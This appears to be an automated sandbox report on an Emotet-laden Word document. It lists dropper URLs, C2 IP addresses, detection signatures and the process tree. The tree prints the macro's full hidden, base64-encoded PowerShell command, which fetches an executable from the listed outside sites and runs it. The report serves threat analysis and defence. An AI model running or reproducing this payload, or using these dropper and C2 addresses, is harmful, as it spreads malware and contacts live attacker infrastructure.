Analysis

  • max time kernel
    135s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    30/10/2020, 23:27

General

  • Target
    emotet_e1_e97a94a4cfc7974e9f0c6b6733a7bcb4b8de1f79e441cbac9624c10448939ff1_2020-10-30__232449016898._doc.doc
  • Size 208KB
  • Sample201030-5avrl2ya8s
  • SHA256 e97a94a4cfc7974e9f0c6b6733a7bcb4b8de1f79e441cbac9624c10448939ff1
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://inbichngoc.com/wp-admin/K/

  • exe.dropper

    http://www.angiathinh.com/autotoxication/96F/

  • exe.dropper

    http://www.meshzs.com/wp-includes/p6/

  • exe.dropper

    https://dartzeel.com/wp-content/jHy/

  • exe.dropper

    https://zhidong.store/wp-content/BDY/

  • exe.dropper

    https://australaqua.com/wp-content/xIt/

  • exe.dropper

    https://nurmarkaz.org/designl/u/

Extracted

Family
  • emotet

Botnet
  • Epoch1

C2
  • 190.202.229.74:80

  • 118.69.11.81:7080

  • 70.39.251.94:8080

  • 87.230.25.43:8080

  • 94.23.62.116:8080

  • 37.187.161.206:8080

  • 45.46.37.97:80

  • 138.97.60.141:7080

  • 177.144.130.105:8080

  • 169.1.39.242:80

  • 209.236.123.42:8080

  • 202.134.4.210:7080

  • 193.251.77.110:80

  • 2.45.176.233:80

  • 217.13.106.14:8080

  • 189.223.16.99:80

  • 190.101.156.139:80

  • 77.238.212.227:80

  • 181.58.181.9:80

  • 37.183.81.217:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_e97a94a4cfc7974e9f0c6b6733a7bcb4b8de1f79e441cbac9624c10448939ff1_2020-10-30__232449016898._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3976
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -windowstyle hidden -ENCOD IAAkAG8AaABGAD0AWwB0AFkAcABFAF0AKAAiAHsAMQB9AHsAMAB9AHsANAB9AHsAMgB9AHsAMwB9ACIAIAAtAEYAJwBzACcALAAnAFMAWQAnACwAJwBlAE0ALgBpAE8ALgBEAEkAcgBlAEMAVABPACcALAAnAFIAWQAnACwAJwB0ACcAKQAgACAAOwAgACAAUwBlAFQALQBWAEEAcgBpAGEAQgBsAGUAIAAyADQAOQBOAGoAIAAoAFsAVABZAFAAZQBdACgAIgB7ADUAfQB7ADMAfQB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQAiACAALQBmACAAJwBOAGEARwBFAHIAJwAsACcALgBTAEUAcgBWACcALAAnAGkATgB0AE0AQQAnACwAJwBlAHQAJwAsACcAaQBjAGUAcABvACcALAAnAHMAWQBzAFQARQBNAC4ATgAnACkAIAAgACkAOwAgACQARwBlAHQAagA5ADMAaAA9ACgAKAAnAFIAdgAyACcAKwAnADkAdgAnACkAKwAnAHUAMQAnACkAOwAkAEMAdQA5ADQAdgAxADEAPQAkAFIAYgA2AGIAZwBxADcAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFQAZABrAGcAdwA5AGYAOwAkAEUANwB1AHEAaAByAHoAPQAoACcAQgB6ACcAKwAoACcAaQBhACcAKwAnAHQAcgB5ACcAKQApADsAIAAgACQATwBIAGYAOgA6ACIAQwByAEUAYQB0AGUAYABkAGAAaQByAGAARQBgAGMAVABvAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAE0AJwArACgAJwBLAHgAJwArACcARABqACcAKQArACcAbAA4ACcAKwAnAHcAawAnACsAJwBvACcAKwAoACcATQBLAHgASQBhACcAKwAnADIAJwArACcAegBqAGkAJwApACsAJwBuAE0AJwArACcASwB4ACcAKQAuACIAUgBlAFAAYABMAGAAQQBDAGUAIgAoACgAWwBDAGgAQQByAF0ANwA3ACsAWwBDAGgAQQByAF0ANwA1ACsAWwBDAGgAQQByAF0AMQAyADAAKQAsAFsAcwBUAFIAaQBOAGcAXQBbAEMAaABBAHIAXQA5ADIAKQApACkAOwAkAEkAdABhAGkAbgBtADgAPQAoACcARwAnACsAJwB3ACcAKwAoACcAdAA1ACcAKwAnAHIAYQBhACcAKQApADsAIAAgACgAIABWAGEAUgBJAEEAYgBsAGUAIAAyADQAOQBOAGoAIAApAC4AVgBhAEwAVQBFADoAOgAiAHMARQBDAGAAVQBgAFIASQBUAHkAUAByAGAATwBUAE8AYwBPAGwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAxACcAKwAnADIAJwApACkAOwAkAEwANgAyADEAYQBqAGEAPQAoACgAJwBJAHIAJwArACcAXwByACcAKQArACgAJwBpADYAJwArACcAbwAnACkAKQA7ACQAWQBvAHkAXwBrAHIAbgAgAD0AIAAoACcATAAnACsAKAAnAHUANwBjACcAKwAnADkAOQB0ACcAKQApADsAJABaADEAaAB2ADAANwA3AD0AKAAnAFIAcwAnACsAKAAnAHYAJwArACcAegAxADAAMgAnACkAKQA7ACQATgA0ADgANwBuAHAAdgA9ACgAKAAnAEYAJwArACcAagBvADkAJwApACsAKAAnAGYAMAAnACsAJwA1ACcAKQApADsAJABaAGwAYQA1AHIAdABuAD0AJABIAE8ATQBFACsAKAAoACgAJwBoAGcAWgAnACsAJwBEACcAKQArACcAagAnACsAKAAnAGwAJwArACcAOAB3ACcAKQArACgAJwBrAG8AJwArACcAaAAnACkAKwAoACcAZwBaAEkAJwArACcAYQAnACkAKwAoACcAMgAnACsAJwB6AGoAaQBuACcAKwAnAGgAZwBaACcAKQApAC4AIgBSAGUAYABQAGwAQQBjAEUAIgAoACgAWwBjAEgAYQBSAF0AMQAwADQAKwBbAGMASABhAFIAXQAxADAAMwArAFsAYwBIAGEAUgBdADkAMAApACwAWwBzAHQAUgBJAG4ARwBdAFsAYwBIAGEAUgBdADkAMgApACkAKwAkAFkAbwB5AF8AawByAG4AKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEkAOQAxAGsAYwBwAGoAPQAoACgAJwBQACcAKwAnADkANAAnACkAKwAnADIAawAnACsAJwB6AHUAJwApADsAJABYAHQAeQBsAGkAdwBkAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdAAuAHcAZQBiAEMATABJAEUATgB0ADsAJABUAHoAbAB6AGMAOQBoAD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AF0AWwAnACsAJwAoAHMAKQBdAHcAJwApACsAJwBdACcAKwAnAFsAJwArACgAJwAoAHMAKQAnACsAJwBdAHcAaQBuACcAKwAnAGIAaQBjACcAKwAnAGgAJwApACsAJwBuACcAKwAoACcAZwBvACcAKwAnAGMAJwApACsAKAAnAC4AJwArACcAYwBvAG0AXQAnACkAKwAoACgAJwBbACcAKwAnACgAcwAnACkAKQArACgAKAAnACkAJwArACcAXQB3AHcAcAAtACcAKwAnAGEAJwApACkAKwAoACcAZABtACcAKwAnAGkAbgAnACkAKwAoACcAXQBbACgAcwApAF0AJwArACcAdwAnACsAJwBLAF0AJwApACsAKAAoACcAWwAoACcAKQApACsAKAAoACcAcwApACcAKQApACsAJwBdACcAKwAoACcAdwAnACsAJwBAAGgAJwApACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAnACsAKAAnAF0AJwArACcAWwAoAHMAKQAnACkAKwAnAF0AJwArACgAKAAnAHcAXQAnACsAJwBbACgAJwApACkAKwAnAHMAJwArACcAKQAnACsAJwBdACcAKwAnAHcAJwArACgAJwB3AHcAJwArACcAdwAnACkAKwAnAC4AJwArACcAYQAnACsAKAAnAG4AZwBpACcAKwAnAGEAdAAnACkAKwAnAGgAJwArACgAJwBpAG4AaAAnACsAJwAuAGMAbwBtAF0AWwAnACsAJwAoAHMAKQAnACkAKwAoACcAXQB3AGEAJwArACcAdQB0AG8AdABvAHgAaQAnACsAJwBjACcAKQArACcAYQB0ACcAKwAnAGkAJwArACgAJwBvAG4AJwArACcAXQAnACkAKwAoACgAJwBbACgAJwArACcAcwAnACkAKQArACgAKAAnACkAXQAnACsAJwB3ACcAKQApACsAJwA5ACcAKwAoACcANgBGACcAKwAnAF0AJwApACsAKAAnAFsAKABzACkAXQB3ACcAKwAnAEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACcAXQAnACsAKAAnAFsAJwArACcAKABzACkAXQAnACkAKwAnAHcAJwArACcAXQBbACcAKwAoACgAJwAoAHMAJwApACkAKwAoACgAJwApAF0AdwAnACsAJwB3AHcAJwApACkAKwAoACcAdwAnACsAJwAuAG0AZQAnACkAKwAoACcAcwAnACsAJwBoAHoAcwAuACcAKQArACgAKAAnAGMAbwAnACsAJwBtAF0AWwAoAHMAJwApACkAKwAoACgAJwApAF0AdwAnACsAJwB3AHAALQBpAG4AYwAnACsAJwBsAHUAZAAnACsAJwBlAHMAJwApACkAKwAoACgAJwBdACcAKwAnAFsAKAAnACkAKQArACgAKAAnAHMAKQAnACkAKQArACgAJwBdACcAKwAnAHcAcAAnACkAKwAnADYAJwArACgAKAAnAF0AWwAnACsAJwAoACcAKQApACsAKAAoACcAcwApACcAKQApACsAJwBdAHcAJwArACgAJwBAAGgAJwArACcAdAB0AHAAcwAnACkAKwAnADoAXQAnACsAKAAoACcAWwAoACcAKQApACsAJwBzACcAKwAoACgAJwApAF0AJwApACkAKwAoACcAdwAnACsAJwBdAFsAKABzACkAJwArACcAXQAnACkAKwAoACcAdwBkACcAKwAnAGEAJwApACsAJwByACcAKwAoACcAdAB6ACcAKwAnAGUAZQBsACcAKQArACcALgAnACsAJwBjACcAKwAoACgAJwBvAG0AXQAnACsAJwBbACgAJwApACkAKwAoACgAJwBzACkAJwApACkAKwAoACcAXQB3AHcAcAAtAGMAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwB0AGUAbgAnACsAJwB0AF0AJwArACcAWwAoAHMAKQAnACkAKwAoACcAXQB3AGoAJwArACcASAAnACkAKwAoACgAJwB5AF0AJwArACcAWwAoACcAKQApACsAJwBzACcAKwAnACkAJwArACcAXQB3ACcAKwAnAEAAJwArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwAHMAJwApACsAJwA6ACcAKwAoACgAJwBdACcAKwAnAFsAKAAnACkAKQArACgAKAAnAHMAKQAnACsAJwBdAHcAJwApACkAKwAoACgAJwBdAFsAJwArACcAKAAnACkAKQArACgAKAAnAHMAKQAnACkAKQArACcAXQB3ACcAKwAoACcAegAnACsAJwBoAGkAZAAnACkAKwAoACcAbwAnACsAJwBuAGcALgBzACcAKQArACgAJwB0AG8AcgAnACsAJwBlAF0AWwAoAHMAJwArACcAKQBdACcAKwAnAHcAJwApACsAJwB3AHAAJwArACgAJwAtAGMAbwBuACcAKwAnAHQAJwArACcAZQBuAHQAJwApACsAKAAnAF0AJwArACcAWwAoAHMAKQAnACsAJwBdACcAKQArACgAJwB3ACcAKwAnAEIARABZAF0AWwAnACkAKwAnACgAJwArACgAKAAnAHMAKQAnACsAJwBdAHcAJwApACkAKwAnAEAAaAAnACsAJwB0AHQAJwArACcAcABzACcAKwAoACgAJwA6AF0AWwAnACsAJwAoAHMAJwApACkAKwAoACgAJwApAF0AdwAnACsAJwBdAFsAKAAnACsAJwBzACkAXQAnACkAKQArACcAdwBhACcAKwAnAHUAJwArACcAcwAnACsAKAAnAHQAcgAnACsAJwBhAGwAJwApACsAKAAoACcAYQBxAHUAYQAuACcAKwAnAGMAbwAnACsAJwBtAF0AWwAnACsAJwAoACcAKQApACsAKAAoACcAcwApAF0AdwAnACsAJwB3AHAAJwArACcALQBjAG8AJwApACkAKwAoACcAbgB0AGUAbgB0ACcAKwAnAF0AJwApACsAJwBbACcAKwAoACcAKABzACcAKwAnACkAXQB3AHgASQB0AF0AWwAoAHMAKQBdAHcAQABoACcAKwAnAHQAdAAnACsAJwBwAHMAOgBdACcAKwAnAFsAJwApACsAKAAnACgAJwArACcAcwApAF0AdwBdACcAKQArACgAJwBbACcAKwAnACgAcwApAF0AJwApACsAJwB3AG4AJwArACcAdQByACcAKwAoACcAbQBhACcAKwAnAHIAJwApACsAKAAnAGsAYQB6AC4AJwArACcAbwAnACkAKwAoACcAcgAnACsAJwBnAF0AJwApACsAJwBbACcAKwAnACgAJwArACgAKAAnAHMAKQAnACkAKQArACcAXQB3ACcAKwAnAGQAZQAnACsAJwBzACcAKwAnAGkAJwArACgAJwBnACcAKwAnAG4AbABdACcAKQArACgAJwBbACcAKwAnACgAcwApACcAKQArACcAXQAnACsAKAAnAHcAdQBdACcAKwAnAFsAJwApACsAJwAoACcAKwAoACgAJwBzACkAJwApACkAKwAnAF0AdwAnACkALgAiAFIAYABlAGAAUABMAGEAQwBFACIAKAAoACgAKAAnAF0AWwAnACsAJwAoAHMAJwApACkAKwAoACgAJwApAF0AJwArACcAdwAnACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwB4AHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAGAAUABMAEkAdAAiACgAJABVADUAdABlAGIAeAByACAAKwAgACQAQwB1ADkANAB2ADEAMQAgACsAIAAkAEQANABuAHoAcgA5ADgAKQA7ACQAUgBjAG4ANABpAHEAXwA9ACgAKAAnAE8AcQAnACsAJwBrACcAKQArACgAJwBwAHcANgAnACsAJwBlACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABPAHcAdgAxAG8AagBvACAAaQBuACAAJABUAHoAbAB6AGMAOQBoACkAewB0AHIAeQB7ACQAWAB0AHkAbABpAHcAZAAuACIARABgAG8AdwBOAEwATwBgAEEARABGAGkAYABMAGUAIgAoACQATwB3AHYAMQBvAGoAbwAsACAAJABaAGwAYQA1AHIAdABuACkAOwAkAFIAOABmAGwAcAAxAHIAPQAoACgAJwBMAGcAZgAnACsAJwBqACcAKQArACgAJwBiACcAKwAnAHYAXwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABaAGwAYQA1AHIAdABuACkALgAiAEwARQBOAGAARwB0AEgAIgAgAC0AZwBlACAANAAzADAANwA4ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwAnACsAKAAnAGkAbgAzADIAJwArACcAXwBQAHIAJwArACcAbwBjAGUAJwApACsAJwBzACcAKwAnAHMAJwApACkALgAiAGMAYABSAEUAYQB0AEUAIgAoACQAWgBsAGEANQByAHQAbgApADsAJABDAGMAaQBtADMAawBtAD0AKAAnAEwAJwArACgAJwB2AHYAJwArACcAbQBjACcAKQArACcAMABrACcAKQA7AGIAcgBlAGEAawA7ACQAVgBhAHYANAB2AGsAMAA9ACgAJwBSAG4AJwArACcAYgAnACsAKAAnAGwAMQAnACsAJwBiAF8AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbgB0ADQAOABoADkAPQAoACgAJwBVAHMAJwArACcAXwAnACkAKwAoACcAZgA3ACcAKwAnAG4AbgAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1404
  • C:\Users\Admin\Djl8wko\Ia2zjin\Lu7c99t.exe
    C:\Users\Admin\Djl8wko\Ia2zjin\Lu7c99t.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:2768
    • C:\Windows\SysWOW64\KBDINMAR\dialclient.exe
      "C:\Windows\SysWOW64\KBDINMAR\dialclient.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:3928
  • \??\c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NgcSvc
    1⤵
      PID:4068
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s DeviceAssociationService
      1⤵
        PID:2412
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s NgcCtnrSvc
        1⤵
        • Modifies data under HKEY_USERS
        PID:752

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/1404-9-0x00007FFC95D20000-0x00007FFC9670C000-memory.dmp

            memory/1404-11-0x00000255FA2D0000-0x00000255FA2D1000-memory.dmp

            memory/1404-10-0x00000255FA120000-0x00000255FA121000-memory.dmp

            memory/2768-15-0x0000000002A60000-0x0000000002A93000-memory.dmp

            memory/2768-14-0x0000000002910000-0x0000000002944000-memory.dmp

            memory/3928-19-0x0000000002960000-0x0000000002993000-memory.dmp

            memory/3928-18-0x0000000002920000-0x0000000002954000-memory.dmp

            memory/3976-5-0x0000015831B1F000-0x0000015831B24000-memory.dmp

            memory/3976-3-0x000001583C7C3000-0x000001583C7D4000-memory.dmp

            memory/3976-2-0x000001583C7C3000-0x000001583C7D4000-memory.dmp

            memory/3976-4-0x000001583C7C3000-0x000001583C7D4000-memory.dmp

            memory/3976-0-0x0000015830F10000-0x0000015831547000-memory.dmp

            memory/3976-7-0x000001583C9F5000-0x000001583C9FA000-memory.dmp

            memory/3976-1-0x000001583C7C3000-0x000001583C7D4000-memory.dmp

            memory/3976-6-0x000001583C9F5000-0x000001583C9FA000-memory.dmp

            memory/3976-8-0x000001583C9F5000-0x000001583C9FA000-memory.dmp